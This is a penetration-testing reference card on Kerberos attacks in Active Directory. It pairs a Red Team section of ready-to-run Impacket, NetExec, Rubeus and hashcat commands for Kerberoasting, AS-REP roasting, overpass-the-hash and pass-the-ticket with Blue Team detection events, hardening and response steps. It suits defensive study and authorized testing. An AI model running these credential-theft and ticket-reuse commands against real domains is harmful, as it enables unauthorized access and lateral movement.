Kerberos Attacks
Kerberos is Active Directory’s authentication protocol. Instead of sending passwords, it uses encrypted tickets issued by the KDC (every domain controller): a TGT proves who you are, and with it you request service tickets (STs, often called TGSs) for each service you want to reach. The attacks in this card don’t break the cryptography: they take advantage of what the KDC encrypts with which key and who it hands it to. Kerberoasting and AS-REP roasting get material to crack offline; overpass-the-hash and pass-the-ticket turn a stolen hash or ticket into access.
sequenceDiagram
participant C as Client
participant KDC as KDC (DC)
participant S as Service (SPN)
C->>KDC: AS-REQ (pre-authentication: timestamp encrypted with the user's key)
KDC-->>C: AS-REP: TGT (encrypted with the krbtgt key) + part encrypted with the user's key
C->>KDC: TGS-REQ (TGT + the service's SPN)
KDC-->>C: TGS-REP: service ticket encrypted with the SPN account's key
C->>S: AP-REQ (presents the ticket)
Note over C,KDC: AS-REP roasting: without pre-authentication, the part encrypted with the user's key is cracked offline
Note over C,S: Kerberoasting: the service ticket is encrypted with the SPN account's key
Threat model
Section titled “Threat model”The KDC hands a service ticket to any authenticated user who asks for an existing SPN: authorization is decided later by the service, not by the KDC. That ticket is encrypted with the key of the account that owns the SPN, so it can be attacked offline without generating failed logons. Accounts with pre-authentication disabled hand out material encrypted with their key to anyone who asks. And since Kerberos keys are derived from the password (or are the NT hash, in RC4), whoever steals a hash or a ticket can act as that identity.
Anatomy
Section titled “Anatomy”Keys and encryption types
Section titled “Keys and encryption types”| etype | Algorithm | Key | Hash format | hashcat |
|---|---|---|---|---|
| 23 (0x17) | RC4-HMAC | The account’s NT hash | $krb5tgs$23$ · $krb5asrep$23$ |
13100 · 18200 |
| 17 (0x11) | AES128-CTS-HMAC-SHA1 | PBKDF2(password, salt) | $krb5tgs$17$ · $krb5asrep$17$ |
19600 · 32100 |
| 18 (0x12) | AES256-CTS-HMAC-SHA1 | PBKDF2(password, salt) | $krb5tgs$18$ · $krb5asrep$18$ |
19700 · 32200 |
- In RC4 the key is the NT hash: that’s why a stolen NT hash can be used to request tickets (overpass-the-hash).
- AES keys are salted (the realm in uppercase plus the account name) and use 4096 PBKDF2 iterations: cracking them is much slower than RC4.
- The TGT is encrypted with the krbtgt key: whoever has it can forge TGTs (Golden Ticket, see persistence).
- Tickets carry the PAC, with the user’s and groups’ SIDs. That’s why a membership change doesn’t apply until you request a new ticket.
The end of RC4 by default (2026)
Section titled “The end of RC4 by default (2026)”With vulnerability CVE-2026-20833, Microsoft changed the KDC’s default behavior in three phases:
| Date | Phase | Effect |
|---|---|---|
| January 2026 | Audit | DCs log KDCSVC warnings 201, 202 and 205–207 when a ticket depends on RC4 |
| April 14, 2026 | Enforcement (with rollback) | DefaultDomainSupportedEncTypes becomes 0x18 (AES only) for accounts without explicit types; events 203, 204, 208 and 209 on blocks or denials |
| July 14, 2026 | Final enforcement | The registry rollback (RC4DefaultDisablementPhase) is removed |
For the attacker, this means that on an updated domain Kerberoasting normally returns AES
tickets ($krb5tgs$18$, hashcat 19700), much slower to crack. Only accounts whose
msDS-SupportedEncryptionTypes explicitly includes RC4, or DCs that set their own registry value,
still issue RC4. Kerberoasting still works: what changes is the cost of cracking, which only
pays off against weak passwords.
Clock and names
Section titled “Clock and names”Kerberos rejects tickets with more than 5 minutes of skew (KRB_AP_ERR_SKEW) and locates
services by name (the SPN), not by IP. From Linux, sync your clock with the DC and use the
machines’ FQDNs.
sudo ntpdate dc01.corp.local # sync the system clock with the DC'ssudo rdate -n dc01.corp.local # alternative if ntpdate isn't availableVariants
Section titled “Variants”| Technique | You need | You get |
|---|---|---|
| Kerberoasting | Any domain account | Crackable hash of accounts with an SPN |
| Targeted Kerberoasting | GenericWrite/WriteSPN over a user (ACL) |
The same, on an account that had no SPN |
| Kerberoasting without pre-authentication | A DONT_REQ_PREAUTH account and a list of SPNs |
Service hashes without credentials |
| AS-REP roasting | Usernames | Crackable hash of accounts without pre-authentication |
| Overpass-the-hash / pass-the-key | NT hash or AES key | A valid TGT for that account |
| Pass-the-ticket | A stolen TGT or ticket (.ccache, .kirbi, LSASS) |
Acting as that account while the ticket is valid |
| Golden / Silver / Diamond | The krbtgt key or a service key | Forged tickets: see persistence |
Red Team
Section titled “Red Team”Kerberoasting
Section titled “Kerberoasting”List first without requesting tickets, to choose targets; then request only the ones that matter:
GetUserSPNs.py corp.local/jdoe:'Passw0rd!' -dc-ip 10.10.10.10ServicePrincipalName Name MemberOf PasswordLastSetMSSQLSvc/sql01.corp.local:1433 svc-sql CN=SQL Admins,OU=Groups,DC=corp,DC=local 2019-03-11 09:12:44HTTP/intranet.corp.local svc-web 2025-10-02 17:40:01GetUserSPNs.py corp.local/jdoe:'Passw0rd!' -dc-ip 10.10.10.10 -request-user svc-sql -outputfile svc-sql.hashnxc ldap dc01.corp.local -u jdoe -p 'Passw0rd!' --kerberoasting kerb.txt # all at oncehead -c 40 svc-sql.hash # $krb5tgs$18$svc-sql$CORP.LOCAL$… → AES256hashcat -m 19700 svc-sql.hash rockyou.txt -r best64.rulehashcat -m 19700 svc-sql.hash --showPrioritize by MemberOf (accounts in privileged groups), by old PasswordLastSet
(passwords that never rotate, sometimes older than the domain having AES keys) and by
adminCount=1. Requesting tickets for every account is noisier than requesting two.
Kerberoasting without pre-authentication
Section titled “Kerberoasting without pre-authentication”If you know an account with DONT_REQ_PREAUTH, you can request service tickets in an AS-REQ by
changing the service name, without valid credentials. You need a list of service account names,
because without credentials you can’t query LDAP:
GetUserSPNs.py -no-preauth 'no_preauth_account' -usersfile services.txt -dc-host dc01.corp.local corp.local/AS-REP roasting
Section titled “AS-REP roasting”Accounts with “Do not require Kerberos preauthentication” return in the AS-REP a part encrypted with their key without you proving you know it:
# No credentials: with a list of users (from kerbrute, OSINT, RID cycling…)GetNPUsers.py corp.local/ -dc-ip 10.10.10.10 -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt# With credentials: find the vulnerable accounts yourselfnxc ldap dc01.corp.local -u jdoe -p 'Passw0rd!' --asreproast asrep.txthashcat -m 18200 asrep.txt rockyou.txt # $krb5asrep$23$If the hash comes out in AES, the modes are -m 32100 ($krb5asrep$17$) and -m 32200
($krb5asrep$18$), available since hashcat 7.
Overpass-the-hash and pass-the-key
Section titled “Overpass-the-hash and pass-the-key”With an account’s NT hash (or better, its AES key), you request a legitimate TGT without knowing the password:
getTGT.py corp.local/svc-sql -hashes :8846f7eaee8fb117ad06bdd830b7586c -dc-ip 10.10.10.10getTGT.py corp.local/svc-sql -aesKey 4a3c…e1 -dc-ip 10.10.10.10 # pass-the-key: quieterexport KRB5CCNAME=svc-sql.ccachepsexec.py -k -no-pass corp.local/svc-sql@srv01.corp.localOn Windows, Rubeus does the same and injects it into the session:
Rubeus.exe asktgt /user:svc-sql /aes256:4a3c…e1 /domain:corp.local /opsec /pttRequesting an RC4 TGT from an account that normally uses AES is a visible anomaly; using the AES key avoids that signal.
Pass-the-ticket
Section titled “Pass-the-ticket”A stolen ticket works until it expires (10 hours by default for the TGT, renewable for up to 7 days):
ticketConverter.py ticket.kirbi ticket.ccache # from Windows format to Linux (and back)export KRB5CCNAME=$PWD/ticket.ccacheklist # check principal and expirysmbclient.py -k -no-pass corp.local/admin@srv01.corp.localWhere to find them: LSASS memory (credential dumping), /tmp/krb5cc_*
and keytabs on domain-joined Linux servers, forgotten .kirbi files.
Researcher workflow
Section titled “Researcher workflow”- With the first credential:
GetUserSPNs.py(list) and--asreproast. - Choose targets by privilege and password age; request only those tickets.
- Crack with the right mode for the etype; validate with
--show. - With each new hash or key: overpass-the-hash and an access test.
- Stolen tickets: convert them to the format you need and use them before they expire.
- Impacket (
GetUserSPNs.py,GetNPUsers.py,getTGT.py,getST.py,ticketConverter.py): see the impacket card. - NetExec (
--kerberoasting,--asreproast). - Rubeus on Windows (
kerberoast,asreproast,asktgt,ptt,dump). - targetedKerberoast for targeted Kerberoasting.
- hashcat (card) with modes 13100, 19600, 19700, 18200, 32100 and 32200.
Impact and chaining
Section titled “Impact and chaining”From any account to the passwords of service accounts, which often have too many privileges (local admin on servers, permissions over other objects, sometimes Domain Admins). A stolen hash or ticket gives access over Kerberos where NTLM is restricted, and leads on to lateral movement and delegation.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Kerberoasting: one account requesting 4769 for many different SPNs in a short time. With
RC4 retired, filtering on
Ticket Encryption Type 0x17loses value: watch the volume and any RC4 ticket that still shows up (KDCSVCevents flag it). - AS-REP roasting: 4768 with
Pre-Authentication Type: 0; an inventory of accounts withDONT_REQ_PREAUTH; 4738 when someone enables that flag (it may be a targeted attack). - Overpass-the-hash: 4768 with RC4 for an account that uses AES; on the source machine,
4624 type 9 (
seclogo) ifsekurlsa::pthwas used. - Pass-the-ticket: tickets used from a host or IP other than where they were issued; 4769 without a prior 4768 for that account on that machine.
- Honeytoken: an account with a decoy SPN and no real use; any 4769 for it is a high-fidelity alert.
Telemetry and sources
Section titled “Telemetry and sources”4768/4769/4771 events on the DCs with their encryption type, KDCSVC events in the System log,
Microsoft Defender for Identity and EDR on endpoints (LSASS access, ticket injection).
Hardening
Section titled “Hardening”- Service accounts as gMSA/dMSA (long, random, automatically rotated passwords) or, if that’s not possible, random passwords of 25+ characters.
- Check that the DCs are in enforcement for CVE-2026-20833 and that no account keeps RC4 in
msDS-SupportedEncryptionTypeswithout a reason. - Change the password of old accounts: those predating the 2008 functional level may have no AES keys and fail when RC4 is removed.
- Remove
DONT_REQ_PREAUTHfrom every account and alert if someone enables it again. - Remove unnecessary SPNs; no account with an SPN in privileged groups.
- Protected Users for administrative accounts (no RC4, no delegation, 4-hour TGT) and Credential Guard on endpoints to protect TGTs in memory.
Response
Section titled “Response”Change the password of the service accounts whose tickets were requested (twice if the compromised
account is krbtgt), invalidate sessions, review later use of those accounts and migrate them to
gMSA.
CVEs and real cases
Section titled “CVEs and real cases”- Kerberoasting (Tim Medin, DerbyCon 2014) and AS-REP roasting aren’t vulnerabilities: they abuse the protocol’s design (MITRE T1558.003 and T1558.004) and show up in nearly every AD assessment and in ransomware reports.
- CVE-2026-20833 (2026): a Kerberos information disclosure vulnerability that Microsoft used to justify retiring RC4 by default on DCs (enforcement from April and final from July 2026).
- MS14-068 / CVE-2014-6324: the KDC accepted a PAC with a forged signature; any user could become Domain Admin.
- noPac (CVE-2021-42278 and CVE-2021-42287, 2021): impersonating a DC’s
sAMAccountNamewith a computer account created by a regular user; the KDC issued tickets as the DC. - CVE-2022-33679 (2022): James Forshaw (Project Zero) showed an encryption downgrade attack against accounts without pre-authentication that recovered the session key.
- Kerberoasting without pre-authentication (2022): Charlie Clark (Semperis) showed that a
DONT_REQ_PREAUTHaccount lets you request service tickets without credentials.
More on NVD (https://nvd.nist.gov/vuln/search) and in Microsoft’s guidance on CVE-2026-20833.
Testing checklist
Section titled “Testing checklist”- Clock synced with the DC and FQDNs resolving.
- Accounts with SPNs listed and prioritized (
MemberOf,PasswordLastSet,adminCount). - Tickets requested only for the chosen targets; etype noted.
- Accounts without pre-authentication (AS-REP roasting and Kerberoasting without pre-authentication).
- Targeted Kerberoasting wherever there’s
GenericWrite/WriteSPN. - Hashes cracked with the right mode and checked with
--show. - Overpass-the-hash / pass-the-key with every hash or key obtained.
- Stolen tickets (LSASS,
krb5cc_*, keytabs) tested before they expire.